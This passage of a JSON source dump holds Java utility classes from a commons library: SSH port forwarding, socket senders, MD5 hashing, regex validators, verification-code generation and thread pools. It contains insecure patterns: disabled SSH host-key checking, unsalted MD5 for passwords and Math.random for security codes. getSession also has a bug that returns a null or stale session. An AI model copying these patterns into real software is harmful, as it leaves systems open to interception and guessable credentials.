    "content": "package com.jun.plugin.commons.util.net;\n\nimport java.util.Collection;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jcraft.jsch.JSch;\nimport com.jcraft.jsch.JSchException;\nimport com.jcraft.jsch.Session;\nimport com.jun.plugin.commons.util.LangUtil;\nimport com.jun.plugin.commons.util.Exceptions.ConnException;\n\n/**\n * SSH安全连接相关工具类\n * 此工具类用于维护一个到跳板机的通道，并将跳板机可访问的服务器端口映射到本地使用\n * @author Wujun\n */\npublic class SSHUtil {\n\tprivate static Logger logger = LoggerFactory.getLogger(SSHUtil.class);\n\t\n\t/*--------------------------常量 start-------------------------------*/\n\t/** 不使用SSH的值 */\n\tpublic final static String SSH_NONE = \"none\";\n\t/*--------------------------常量 start-------------------------------*/\n\t\n\t/*--------------------------私有属性 start-------------------------------*/\n\t/** SSH会话池，key：host，value：Session对象 */\n\tprivate static Map<String, Session> sessionPool = new HashMap<String, Session>();\n\t/** 备选的本地端口 */\n\tprivate volatile static int alternativePort = 10000;\n\t/*--------------------------私有属性 start-------------------------------*/\n\t\n\t/**\n\t * 生成一个本地端口，用于远程端口映射\n\t * @return 未被使用的本地端口\n\t */\n\tsynchronized public static int generateLocalPort(){\n\t\t//获取可用端口\n\t\twhile(!SocketUtil.isUsableLocalPort(alternativePort)){\n\t\t\talternativePort ++;\n\t\t}\n\t\treturn alternativePort;\n\t}\n\t\n\t/**\n\t * 获得一个SSH跳板机会话，重用已经使用的会话\n\t * @param sshHost 跳板机主机\n\t * @param sshPort 跳板机端口\n\t * @param sshUser 跳板机用户名\n\t * @param sshPass 跳板机密码\n\t * @return SSH会话\n\t */\n\tsynchronized public static Session getSession(String sshHost, int sshPort, String sshUser, String sshPass){\n\t\tSession session = sessionPool.get(sshHost);\n\t\tif(session != null && session.isConnected()){\n\t\t\treturn session;\n\t\t}\n\t\t\n\t\tSession newSession = openSession(sshHost, sshPort, sshUser, sshPass);\n\t\tsessionPool.put(sshHost, newSession);\n\t\treturn session;\n\t}\n\t\n\t/**\n\t * 打开一个新的SSH跳板机会话\n\t * @param sshHost 跳板机主机\n\t * @param sshPort 跳板机端口\n\t * @param sshUser 跳板机用户名\n\t * @param sshPass 跳板机密码\n\t * @return SSH会话\n\t */\n\tsynchronized public static Session openSession(String sshHost, int sshPort, String sshUser, String sshPass){\n\t\tif(LangUtil.isEmpty(sshHost) || sshPort < 0 || LangUtil.isEmpty(sshUser) || LangUtil.isEmpty(sshPass)) return null;\n\t\t\n\t\ttry {\n\t\t\tSession session = new JSch().getSession(sshUser, sshHost, sshPort);\n\t\t\tsession.setPassword(sshPass);\n\t\t\tsession.setConfig(\"StrictHostKeyChecking\", \"no\");\n\t\t\tsession.connect();\n\t\t\t\n\t\t\treturn session;\n\t\t} catch (JSchException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\t\n\t/**\n\t * 绑定端口到本地。\n\t * 一个会话可绑定多个端口\n\t * @param session 需要绑定端口的SSH会话\n\t * @param remoteHost 远程主机\n\t * @param remotePort 远程端口\n\t * @param localPort 本地端口\n\t * @return 成功与否\n\t * @throws JSchException 端口绑定失败异常\n\t */\n\tsynchronized public static boolean bindPort(Session session, String remoteHost, int remotePort, int localPort) throws JSchException{\n\t\tif(session != null && session.isConnected()){\n\t\t\tsession.setPortForwardingL(localPort, remoteHost, remotePort);\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}\n\t\n\t/**\n\t * 解除端口映射\n\t * @param session 需要解除端口映射的SSH会话\n\t * @param localPort 需要解除的本地端口\n\t * @return 解除成功与否\n\t */\n\tsynchronized public static boolean unBindPort(Session session, int localPort){\n\t\ttry {\n\t\t\tsession.delPortForwardingL(localPort);\n\t\t\treturn true;\n\t\t} catch (JSchException e) {\n\t\t\tlogger.error(\"端口映射解除失败，原因是：\" + e.getMessage());\n\t\t}\n\t\treturn false;\n\t}\n\t\n\t/**\n\t * 打开SSH会话，并绑定远程端口到本地的一个随机端口\n\t * @param sshConn SSH连接信息对象\n\t * @param remoteHost 远程主机\n\t * @param remotePort 远程端口\n\t * @return 映射后的本地端口\n\t * @throws ConnException\n\t */\n\tsynchronized public static int openAndBindPortToLocal(Connector sshConn, String remoteHost, int remotePort) throws ConnException{\n\t\tSession session = openSession(sshConn.getHost(), sshConn.getPort(), sshConn.getUser(), sshConn.getPassword());\n\t\tif (session == null) {\n\t\t\tthrow new ConnException(\"SSH会话建立失败，请检查SSH相关配置！\");\n\t\t}\n\t\tint localPort = generateLocalPort();\n\t\ttry {\n\t\t\tSSHUtil.bindPort(session, remoteHost, remotePort, localPort);\n\t\t} catch (JSchException e) {\n\t\t\tthrow new ConnException(\"From [\" + remoteHost + \"] Mapping to [\" + localPort + \"] error！\", e);\n\t\t}\n\t\treturn localPort;\n\t}\n\t\n\t/**\n\t * 关闭SSH连接会话\n\t * @param session SSH会话\n\t */\n\tsynchronized public static void close(Session session){\n\t\tif(session != null && session.isConnected()){\n\t\t\tsession.disconnect();\n\t\t}\n\t}\n\t\n\t/**\n\t * 关闭SSH连接会话\n\t * @param host 主机\n\t */\n\tsynchronized public static void close(String host){\n\t\tSession session = sessionPool.get(host);\n\t\tif(session != null && session.isConnected()){\n\t\t\tsession.disconnect();\n\t\t}\n\t\tsessionPool.remove(host);\n\t}\n\t\n\t/**\n\t * 关闭所有SSH连接会话\n\t */\n\tsynchronized public static void closeAll(){\n\t\tCollection<Session> sessions = sessionPool.values();\n\t\tfor (Session session : sessions) {\n\t\t\tif(session.isConnected()) session.disconnect();\n\t\t}\n\t\tsessionPool.clear();\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/net/SocketUtil.java",
    "content": "package com.jun.plugin.commons.util.net;\n\nimport java.io.IOException;\nimport java.io.OutputStream;\nimport java.net.InetSocketAddress;\nimport java.net.Socket;\nimport java.nio.ByteBuffer;\nimport java.nio.channels.SocketChannel;\n\nimport com.jun.plugin.commons.util.RegexUtil;\n\n/**\n * 套接字相关工具类\n * \n * @author Wujun\n * \n */\npublic class SocketUtil {\n\tpublic final static String LOCAL_IP = \"127.0.0.1\";\n\n\t/**\n\t * 检测本地端口可用性\n\t * \n\t * @param port 被检测的端口\n\t * @return 是否可用\n\t */\n\tpublic static boolean isUsableLocalPort(int port) {\n\t\tif (! isValidPort(port)) {\n\t\t\t// 给定的IP未在指定端口范围中\n\t\t\treturn false;\n\t\t}\n\t\ttry {\n\t\t\tnew Socket(LOCAL_IP, port).close();\n\t\t\t// socket链接正常，说明这个端口正在使用\n\t\t\treturn false;\n\t\t} catch (Exception e) {\n\t\t\treturn true;\n\t\t}\n\t}\n\t\n\t/**\n\t * 是否为有效的端口\n\t * @param port 端口号\n\t * @return 是否有效\n\t */\n\tpublic static boolean isValidPort(int port) {\n\t\t//有效端口是0～65535\n\t\treturn port >= 0 && port <= 0xFFFF;\n\t}\n\n\t/**\n\t * 根据long值获取ip v4地址\n\t * \n\t * @param longIP IP的long表示形式\n\t * @return IP V4 地址\n\t */\n\tpublic static String longToIpv4(long longIP) {\n\t\tStringBuffer sb = new StringBuffer();\n\t\t// 直接右移24位\n\t\tsb.append(String.valueOf(longIP >>> 24));\n\t\tsb.append(\".\");\n\t\t// 将高8位置0，然后右移16位\n\t\tsb.append(String.valueOf((longIP & 0x00FFFFFF) >>> 16));\n\t\tsb.append(\".\");\n\t\tsb.append(String.valueOf((longIP & 0x0000FFFF) >>> 8));\n\t\tsb.append(\".\");\n\t\tsb.append(String.valueOf(longIP & 0x000000FF));\n\t\treturn sb.toString();\n\t}\n\n\t/**\n\t * 根据ip地址计算出long型的数据\n\t * @param strIP IP V4 地址\n\t * @return long值\n\t */\n\tpublic static long ipv4ToLong(String strIP) {\n\t\tif(RegexUtil.isIpv4(strIP)){\n\t\t\tlong[] ip = new long[4];\n\t\t\t// 先找到IP地址字符串中.的位置\n\t\t\tint position1 = strIP.indexOf(\".\");\n\t\t\tint position2 = strIP.indexOf(\".\", position1 + 1);\n\t\t\tint position3 = strIP.indexOf(\".\", position2 + 1);\n\t\t\t// 将每个.之间的字符串转换成整型\n\t\t\tip[0] = Long.parseLong(strIP.substring(0, position1));\n\t\t\tip[1] = Long.parseLong(strIP.substring(position1 + 1, position2));\n\t\t\tip[2] = Long.parseLong(strIP.substring(position2 + 1, position3));\n\t\t\tip[3] = Long.parseLong(strIP.substring(position3 + 1));\n\t\t\treturn (ip[0] << 24) + (ip[1] << 16) + (ip[2] << 8) + ip[3];\n\t\t}\n\t\treturn 0;\n\t}\n\n\t/**\n\t * 简易的使用Socket发送数据\n\t * \n\t * @param host Server主机\n\t * @param port Server端口\n\t * @param isBlock 是否阻塞方式\n\t * @param data 需要发送的数据\n\t * @throws IOException\n\t */\n\tpublic static void netCat(String host, int port, boolean isBlock, ByteBuffer data) throws IOException {\n\t\tSocketChannel channel = SocketChannel.open(new InetSocketAddress(host, port));\n\t\tchannel.configureBlocking(isBlock);\n\t\tchannel.write(data);\n\t\tchannel.close();\n\t}\n\n\t/**\n\t * 使用普通Socket发送数据\n\t * \n\t * @param host Server主机\n\t * @param port Server端口\n\t * @param data 数据\n\t * @throws IOException\n\t */\n\tpublic static void netCat(String host, int port, byte[] data) throws IOException {\n\t\tSocket socket = new Socket(host, port);\n\t\tOutputStream out = socket.getOutputStream();\n\t\tout.write(data);\n\t\tout.flush();\n\t\tout.close();\n\t\tsocket.close();\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/net/URLUtil.java",
    "content": "package com.jun.plugin.commons.util.net;\n\nimport java.io.File;\nimport java.net.MalformedURLException;\nimport java.net.URL;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jun.plugin.commons.util.Setting;\n\n/**\n * 统一资源定位符相关工具类\n * @author Wujun\n *\n */\npublic class URLUtil {\n\tprivate static Logger logger = LoggerFactory.getLogger(Setting.class);\n\t\n\t/**\n\t * 获得URL\n\t * @param pathBaseClassLoader 相对路径（相对于classes）\n\t * @return URL\n\t */\n\tpublic static URL getURL(String pathBaseClassLoader){\n\t\treturn URLUtil.class.getClassLoader().getResource(pathBaseClassLoader);\n\t}\n\t\n\t/**\n\t * 获得URL\n\t * @param path 相对给定 class所在的路径\n\t * @param clazz 指定class\n\t * @return URL\n\t */\n\tpublic static URL getURL(String path, Class<?> clazz){\n\t\treturn clazz.getResource(path);\n\t}\n\t\n\t/**\n\t * 获得URL，常用于使用绝对路径时的情况\n\t * @param configFile URL对应的文件对象\n\t * @return URL\n\t */\n\tpublic static URL getURL(File configFile){\n\t\ttry {\n\t\t\treturn configFile.toURI().toURL();\n\t\t} catch (MalformedURLException e) {\n\t\t\tlogger.error(\"Error occured when get URL!\", e);\n\t\t}\n\t\treturn null;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/network/HttpClientUtils.java",
    "content": "// This file is commented out — uses Apache HttpClient which is now removed.\n// See jun_httpclient module for HTTP client functionality.\n/*\npackage com.jun.plugin.commons.util.network;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\nimport org.apache.commons.logging.Log;\nimport org.apache.commons.logging.LogFactory;\nimport org.apache.http.HttpEntity;\nimport org.apache.http.HttpResponse;\nimport org.apache.http.NameValuePair;\nimport org.apache.http.client.entity.UrlEncodedFormEntity;\nimport org.apache.http.client.methods.HttpGet;\nimport org.apache.http.client.methods.HttpPost;\nimport org.apache.http.entity.BufferedHttpEntity;\nimport org.apache.http.impl.client.CloseableHttpClient;\nimport org.apache.http.impl.client.HttpClients;\nimport org.apache.http.message.BasicNameValuePair;\n\nimport com.jun.plugin.commons.util.exception.ExceptAll;\nimport com.jun.plugin.commons.util.exception.ProjectException;\n\npublic abstract class HttpClientUtils {\n\tprotected static Log log = LogFactory.getLog(HttpClientUtils.class);\n\n\tpublic static String sendGet(String url, String ecode)\n\t\t\tthrows ProjectException {\n\t\tString result = null;\n\t\tCloseableHttpClient httpClient = HttpClients.createDefault();\n\t\tHttpGet get = new HttpGet(url);\n\t\tInputStream in = null;\n\t\ttry {\n\t\t\tHttpResponse response = httpClient.execute(get);\n\t\t\tHttpEntity entity = response.getEntity();\n\t\t\tif (entity != null) {\n\t\t\t\tentity = new BufferedHttpEntity(entity);\n\t\t\t\tin = entity.getContent();\n\t\t\t\tbyte[] read = new byte[1024];\n\t\t\t\tbyte[] all = new byte[0];\n\t\t\t\tint num;\n\t\t\t\twhile ((num = in.read(read)) > 0) {\n\t\t\t\t\tbyte[] temp = new byte[all.length + num];\n\t\t\t\t\tSystem.arraycopy(all, 0, temp, 0, all.length);\n\t\t\t\t\tSystem.arraycopy(read, 0, temp, all.length, num);\n\t\t\t\t\tall = temp;\n\t\t\t\t}\n\t\t\t\tresult = new String(all, ecode);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\tlog.error(\"客户端连接错误。\");\n\t\t\tthrow new ProjectException(ExceptAll.net_clienterror, \"客户端连接错误\");\n\t\t} finally {\n\t\t\tif (in != null)\n\t\t\t\ttry {\n\t\t\t\t\tin.close();\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t\tlog.error(\"关闭流错误。\");\n\t\t\t\t\tthrow new ProjectException(ExceptAll.net_streamclose,\n\t\t\t\t\t\t\t\"关闭流错误\");\n\t\t\t\t}\n\t\t\tget.abort();\n\t\t}\n\t\treturn result;\n\t}\n\n\tpublic static String sendGet(String url) throws ProjectException {\n\t\treturn sendGet(url, \"utf-8\");\n\t}\n\n\tpublic static String sendGet(String url, Map<String, String> params)\n\t\t\tthrows ProjectException {\n\t\tSet<String> keys = params.keySet();\n\t\tStringBuilder urlBuilder = new StringBuilder(url + \"?\");\n\t\tfor (String key : keys) {\n\t\t\turlBuilder.append(key).append(\"=\").append(params.get(key))\n\t\t\t\t\t.append(\"&\");\n\t\t}\n\t\turlBuilder.delete(urlBuilder.length() - 1, urlBuilder.length());\n\t\treturn sendGet(urlBuilder.toString());\n\t}\n\n\tpublic static String sendPost(String url, Map<String, String> params)\n\t\t\tthrows ProjectException {\n\t\tString result = null;\n\t\tCloseableHttpClient httpClient = HttpClients.createDefault();\n\t\tHttpPost get = new HttpPost(url);\n\t\tList<NameValuePair> qparams = new ArrayList<NameValuePair>();\n\t\tSet<String> keys = params.keySet();\n\t\tfor (String key : keys) {\n\t\t\tqparams.add(new BasicNameValuePair(key, params.get(key)));\n\t\t}\n\t\ttry {\n\t\t\tget.setEntity(new UrlEncodedFormEntity(qparams, \"utf-8\"));\n\t\t\tHttpResponse response = httpClient.execute(get);\n\t\t\tHttpEntity entity = response.getEntity();\n\t\t\tif (entity != null) {\n\t\t\t\tentity = new BufferedHttpEntity(entity);\n\t\t\t\tInputStream in = entity.getContent();\n\t\t\t\tbyte[] read = new byte[1024];\n\t\t\t\tbyte[] all = new byte[0];\n\t\t\t\tint num;\n\t\t\t\twhile ((num = in.read(read)) > 0) {\n\t\t\t\t\tbyte[] temp = new byte[all.length + num];\n\t\t\t\t\tSystem.arraycopy(all, 0, temp, 0, all.length);\n\t\t\t\t\tSystem.arraycopy(read, 0, temp, all.length, num);\n\t\t\t\t\tall = temp;\n\t\t\t\t}\n\t\t\t\tresult = new String(all, \"UTF-8\");\n\t\t\t\tif (null != in) {\n\t\t\t\t\tin.close();\n\t\t\t\t}\n\t\t\t}\n\t\t\tget.abort();\n\t\t\treturn result;\n\t\t} catch (Exception e) {\n\t\t\tthrow new ProjectException(ExceptAll.default_Project, \"请求错误\");\n\t\t}\n\t}\n\n}\n*/\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/test/MD5Tools.java",
    "content": "package com.jun.plugin.commons.util.test;\n\nimport java.security.MessageDigest;\n\npublic class MD5Tools {\n\tpublic final static String MD5(String pwd) {\n\t\t// 用于加密的字符\n\t\tchar md5String[] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F' };\n\t\ttry {\n\t\t\t// 使用平台的默认字符集将此 String 编码为 byte序列，并将结果存储到一个新的 byte数组中\n\t\t\tbyte[] btInput = pwd.getBytes();\n\n\t\t\t// 信息摘要是安全的单向哈希函数，它接收任意大小的数据，并输出固定长度的哈希值。\n\t\t\tMessageDigest mdInst = MessageDigest.getInstance(\"MD5\");\n\n\t\t\t// MessageDigest对象通过使用 update方法处理数据， 使用指定的byte数组更新摘要\n\t\t\tmdInst.update(btInput);\n\n\t\t\t// 摘要更新之后，通过调用digest（）执行哈希计算，获得密文\n\t\t\tbyte[] md = mdInst.digest();\n\n\t\t\t// 把密文转换成十六进制的字符串形式\n\t\t\tint j = md.length;\n\t\t\tchar str[] = new char[j * 2];\n\t\t\tint k = 0;\n\t\t\tfor (int i = 0; i < j; i++) { // i = 0\n\t\t\t\tbyte byte0 = md[i]; // 95\n\t\t\t\tstr[k++] = md5String[byte0 >>> 4 & 0xf]; // 5\n\t\t\t\tstr[k++] = md5String[byte0 & 0xf]; // F\n\t\t\t}\n\n\t\t\t// 返回经过加密后的字符串\n\t\t\treturn new String(str);\n\n\t\t} catch (Exception e) {\n\t\t\treturn null;\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/test/RegUtils.java",
    "content": "package com.jun.plugin.commons.util.test;\n\nimport java.util.regex.Pattern;\n\npublic class RegUtils {\n\t public static final String  REG_MOBILE_TELEPHONE    = \"^(13[0-9]|14[5|7]|15[0|1|2|3|5|6|7|8|9]|18[0|1|2|3|4|5|6|7|8|9])\\\\d{8}$\";\n\t public static final String  REG_EAMIL = \"^([a-z0-9A-Z]+[-|_|\\\\.]?)+[a-z0-9A-Z]@([a-z0-9A-Z]+(-[a-z0-9A-Z]+)?\\\\.)+[a-zA-Z]{2,}$\";\n\t /**\n     * 判断是否是符合的移动电话\n     *\n     * @param phone 判断的字符串\n     * @return 是否是符合的移动电话\n     */\n    public static boolean isTelePhone(String phone) {\n        if (phone.length()==0) {\n            return false;\n        }\n        Pattern pattern = Pattern.compile(REG_MOBILE_TELEPHONE);\n        return pattern.matcher(phone).matches();\n    }\n    /**\n     * 判断是否是符合的邮箱\n     *\n     * @param phone 判断的字符串\n     * @return 是否是符合的邮箱\n     */\n    public static boolean isEail(String eamil) {\n        if (eamil.length()==0) {\n            return false;\n        }\n        Pattern pattern = Pattern.compile(REG_EAMIL);\n        return pattern.matcher(eamil).matches();\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/test/SecurityCode.java",
    "content": "package com.jun.plugin.commons.util.test;\n\nimport java.util.Arrays;\n\npublic class SecurityCode {\n\n\t/**      * 验证码难度级别，Simple只包含数字，Medium包含数字和小写英文，Hard包含数字和大小写英文\n     */\n    public enum SecurityCodeLevel {Simple,Medium,Hard};     \n     /**\n      * 产生默认验证码，4位中等难度\n      * @return  String 验证码\n      */\n     public static String getSecurityCode(){\n         return getSecurityCode(4,SecurityCodeLevel.Hard,false);\n     }\n     /**\n      * 随机产生密码，n位难\n      * @return  String 密码\n      */\n     public static String getSecurityCode(int n){\n         return getSecurityCode(n,SecurityCodeLevel.Hard,false);\n     }\n     /**\n\t27      * 产生长度和难度任意的验证码\n\t28      * @param length  长度\n\t29      * @param level   难度级别\n\t30      * @param isCanRepeat  是否能够出现重复的字符，如果为true，则可能出现 5578这样包含两个5,如果为false，则不可能出现这种情况\n\t31      * @return  String 验证码\n\t32      */\n     public static String getSecurityCode(int length,SecurityCodeLevel level,boolean isCanRepeat){\n         \n         //随机抽取len个字符\n         int len=length;\n         \n         //字符集合(除去易混淆的数字0、数字1、字母l、字母o、字母O)\n         char[] codes={'1','2','3','4','5','6','7','8','9',\n                       'a','b','c','d','e','f','g','h','i',\n                       'j','k','m','n','p','q','r','s','t',\n                       'u','v','w','x','y','z','A','B','C',\n                       'D','E','F','G','H','I','J','K','L',\n                       'M','N','P','Q','R','S','T','U','V',\n                       'W','X','Y','Z'};\n         \n         //根据不同的难度截取字符数组\n         if(level==SecurityCodeLevel.Simple){\n             codes=Arrays.copyOfRange(codes, 0,9);\n         }else if(level==SecurityCodeLevel.Medium){\n             codes=Arrays.copyOfRange(codes, 0,33);\n         }\n         \n         //字符集合长度\n         int n=codes.length;\n         \n         //抛出运行时异常\n         if(len>n&&isCanRepeat==false){\n             throw new RuntimeException(\n                     String.format(\"调用SecurityCode.getSecurityCode(%1$s,%2$s,%3$s)出现异常，\" +\n                                    \"当isCanRepeat为%3$s时，传入参数%1$s不能大于%4$s\",\n                                    len,level,isCanRepeat,n));\n         }\n         \n         //存放抽取出来的字符\n         char[] result=new char[len];\n         \n         //判断能否出现重复的字符\n         if(isCanRepeat){\n             for(int i=0;i<result.length;i++){\n                 //索引 0 and n-1\n                 int r=(int)(Math.random()*n);\n             \n                 //将result中的第i个元素设置为codes[r]存放的数值\n                 result[i]=codes[r];\n             }\n         }else{\n             for(int i=0;i<result.length;i++){\n                 //索引 0 and n-1\n                 int r=(int)(Math.random()*n);\n                 \n                 //将result中的第i个元素设置为codes[r]存放的数值\n                 result[i]=codes[r];\n                 \n                 //必须确保不会再次抽取到那个字符，因为所有抽取的字符必须不相同。\n                 //因此，这里用数组中的最后一个字符改写codes[r]，并将n减1\n                 codes[r]=codes[n-1];\n                 n--;\n             }\n         }\n         \n         return String.valueOf(result);\n     }\n     \n      \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/thread/ICancelHandle.java",
    "content": "package com.jun.plugin.commons.util.thread;\n\n/****\n * 如果线程被池给取消需要做的事情，如果提交给池的线程实现这个接口，那么当池拒绝这个线程时会调用些接口\n * \n * @author Wujun\n * \n */\npublic interface ICancelHandle {\n\tpublic void doCancle();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/thread/RejectedExecutionForLog.java",
    "content": "package com.jun.plugin.commons.util.thread;\n\nimport java.util.concurrent.RejectedExecutionHandler;\nimport java.util.concurrent.ThreadPoolExecutor;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jun.plugin.commons.util.apiext.ReflectAsset;\n\n/****\n * 当线程被拒绝时采取的策略，如果线程实现cn.rjzjh.commons.util.thread.ICancelHandle接口则调用\n * \n * @author Wujun\n * \n */\npublic class RejectedExecutionForLog implements RejectedExecutionHandler {\n\tprivate Logger logger = LoggerFactory.getLogger(getClass());\n\n\t@Override\n\tpublic void rejectedExecution(Runnable r, ThreadPoolExecutor executor) {\n\t\tlogger.error(\"线程池拒绝，\" + \"TaskCount:\" + executor.getTaskCount()\n\t\t\t\t+ \" ActiveCount:\" + executor.getActiveCount()\n\t\t\t\t+ \" CorePoolSize:\" + executor.getCorePoolSize());\n\n\t\tif (!executor.isShutdown()) {\n\t\t\tif (ReflectAsset.isInterface(r.getClass(),\n\t\t\t\t\t\"cn.rjzjh.commons.util.thread.ICancelHandle\")) {\n\t\t\t\tICancelHandle cancelDo = (ICancelHandle) r;\n\t\t\t\tcancelDo.doCancle();\n\t\t\t}\n\t\t\t// executor.submit(r);\n\t\t}\n\n\t\t// BeanUtils.getProperty(aa, \"callable\");\n\t\t/*\n\t\t * 替换失败 aa.cancel(true);\n\t\t * \n\t\t * NullBusiImpl retImpl = new NullBusiImpl(\n\t\t * \"Exception_greaterMaxThread\", \"超过了最大纯程\"); BaseExe tttt = new\n\t\t * BaseExe(retImpl,null,null); tttt.isLoop=false;\n\t\t * \n\t\t * r =new FutureTask<CusDynaBean>(tttt);\n\t\t */\n\n\t\t/*\n\t\t * try { Field fieldX = aa.getClass().getDeclaredField(\"sync\");\n\t\t * fieldX.setAccessible(true); Object x = (Object) fieldX.get(aa);\n\t\t * \n\t\t * Field fieldy = x.getClass().getDeclaredField(\"callable\");\n\t\t * fieldy.setAccessible(true); // BaseExe y = (BaseExe)fieldy.get(x);\n\t\t * NullBusiImpl retImpl = new NullBusiImpl(\n\t\t * \"Exception_greaterMaxThread\", \"超过了最大纯程\"); fieldy.set(x, retImpl);\n\t\t * \n\t\t * } catch (Exception e) { e.printStackTrace(); }\n\t\t */\n\n\t\t// TODO 打印日志、发邮件、设计好返回值等动作。尽量不做下面动作，否则会导致主线程长时间等待\n\t\t/*\n\t\t * if (!executor.isShutdown()) { r.run(); }\n\t\t */\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/thread/ThreadPool.java",
    "content": "package com.jun.plugin.commons.util.thread;\n\nimport java.util.Properties;\nimport java.util.concurrent.ArrayBlockingQueue;\nimport java.util.concurrent.BlockingQueue;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.ThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\n\nimport org.apache.commons.lang3.StringUtils;\n\npublic class ThreadPool {\n\tprivate static final java.util.Map<String, ExecutorService> executorServiceMap = new java.util.HashMap<String, ExecutorService>();\n\n\t/*****\n\t * 通过名字得到线程池\n\t * \n\t * @param poolname\n\t * @return\n\t */\n\tpublic static final ExecutorService getThreadPoolByName(String poolname,\n\t\t\tProperties properties) {\n\t\tif (StringUtils.isEmpty(poolname)) {\n\t\t\tthrow new IllegalArgumentException(\"需要传入线程池名称\");\n\t\t}\n\t\tsynchronized (executorServiceMap) {\n\t\t\tif (executorServiceMap.containsKey(poolname)) {\n\t\t\t\treturn executorServiceMap.get(poolname);\n\t\t\t} else {\n\t\t\t\tString preStr = \"thread.pool.\" + poolname + \".\";\n\t\t\t\tString poolNameStr = properties\n\t\t\t\t\t\t.getProperty(preStr + \"poolname\");\n\t\t\t\tif (StringUtils.isEmpty(poolNameStr)) {\n\t\t\t\t\tthrow new IllegalArgumentException(\"你请求的池没有定义\");\n\t\t\t\t}\n\t\t\t\tString coreSize = properties.getProperty(preStr + \"coreSize\");\n\t\t\t\tString maxSize = properties.getProperty(preStr + \"maxSize\");\n\t\t\t\tString queueSize = properties.getProperty(preStr + \"queueSize\");\n\t\t\t\tString keepAliveTime = properties.getProperty(preStr\n\t\t\t\t\t\t+ \"keepAliveTime\");\n\t\t\t\tString unit = properties.getProperty(preStr + \"unit\");\n\t\t\t\tif (StringUtils.isEmpty(coreSize)\n\t\t\t\t\t\t|| StringUtils.isEmpty(maxSize)\n\t\t\t\t\t\t|| StringUtils.isEmpty(queueSize)) {\n\t\t\t\t\tthrow new IllegalArgumentException(\"池核心数、最大数、队列数必须定义\");\n\t\t\t\t}\n\t\t\t\tint coreSizeInt = Integer.parseInt(coreSize);\n\t\t\t\tint maxSizeInt = Integer.parseInt(maxSize);\n\t\t\t\tint queueSizeInt = Integer.parseInt(queueSize);\n\t\t\t\tint keepAliveTimeInt = StringUtils.isEmpty(keepAliveTime) ? 10\n\t\t\t\t\t\t: Integer.parseInt(keepAliveTime);\n\t\t\t\tTimeUnit unitT = StringUtils.isEmpty(unit) ? TimeUnit.SECONDS\n\t\t\t\t\t\t: getTimeUnit(unit);\n\t\t\t\tBlockingQueue<Runnable> queue = new ArrayBlockingQueue<Runnable>(\n\t\t\t\t\t\tqueueSizeInt);\n\t\t\t\tThreadPoolExecutor executor = new ThreadPoolExecutor(\n\t\t\t\t\t\tcoreSizeInt, maxSizeInt, keepAliveTimeInt, unitT,\n\t\t\t\t\t\tqueue, new RejectedExecutionForLog());\n\t\t\t\texecutorServiceMap.put(poolname, executor);\n\t\t\t\treturn executor;\n\t\t\t}\n\t\t}\n\t}\n\n\t/***\n\t * 得到默认的线程池\n\t * \n\t * @return\n\t */\n\tpublic static final ExecutorService getDefaultPool(Properties properties) {\n\t\treturn getThreadPoolByName(\"default\", properties);\n\t}\n\n\tprivate static TimeUnit getTimeUnit(String TimeUnitStr) {\n\t\tif (StringUtils.isEmpty(TimeUnitStr)) {\n\t\t\treturn null;\n\t\t}\n\t\tfor (TimeUnit timeUnit : TimeUnit.values()) {\n\t\t\tif (timeUnit.name().equals(TimeUnitStr)) {\n\t\t\t\treturn timeUnit;\n\t\t\t}\n\t\t}\n\t\treturn null;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/threads/BaseRunnable.java",
    "content": "package com.jun.plugin.commons.util.threads;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\npublic abstract class BaseRunnable implements Runnable {\n\tprivate static Logger logger = LoggerFactory.getLogger(BaseRunnable.class);\n\t\n\t/** 此线程的标识ID */\n\tprotected long id;\n\t/** 此线程的名称，默认为空串 */\n\tprotected String name = \"\";\n\t/** 线程是否启动标志 */\n\tprotected boolean isRunning;\n\t/** 被调用的次数（包括当前正在运行的） */\n\tprotected int callCount;\n\t/** 此线程每次运行的时长，key为次数，value为时长 */\n\tprotected Map<Integer, Long> runTimes = new HashMap<Integer, Long>();\n\t\n\t//---------------------------------------------------------------------------- 构造 start\n\t/**\n\t * 默认构造\n\t */\n\tpublic BaseRunnable() {\n\t}\n\t\n\t/**\n\t * 构造\n\t * @param id ID\n\t * @param name 线程名称\n\t */\n\tpublic BaseRunnable(long id, String name) {\n\t\tthis.id = id;\n\t\tthis.name = name;\n\t}\n\t//---------------------------------------------------------------------------- 构造 end\n\n\t@Override\n\tpublic void run() 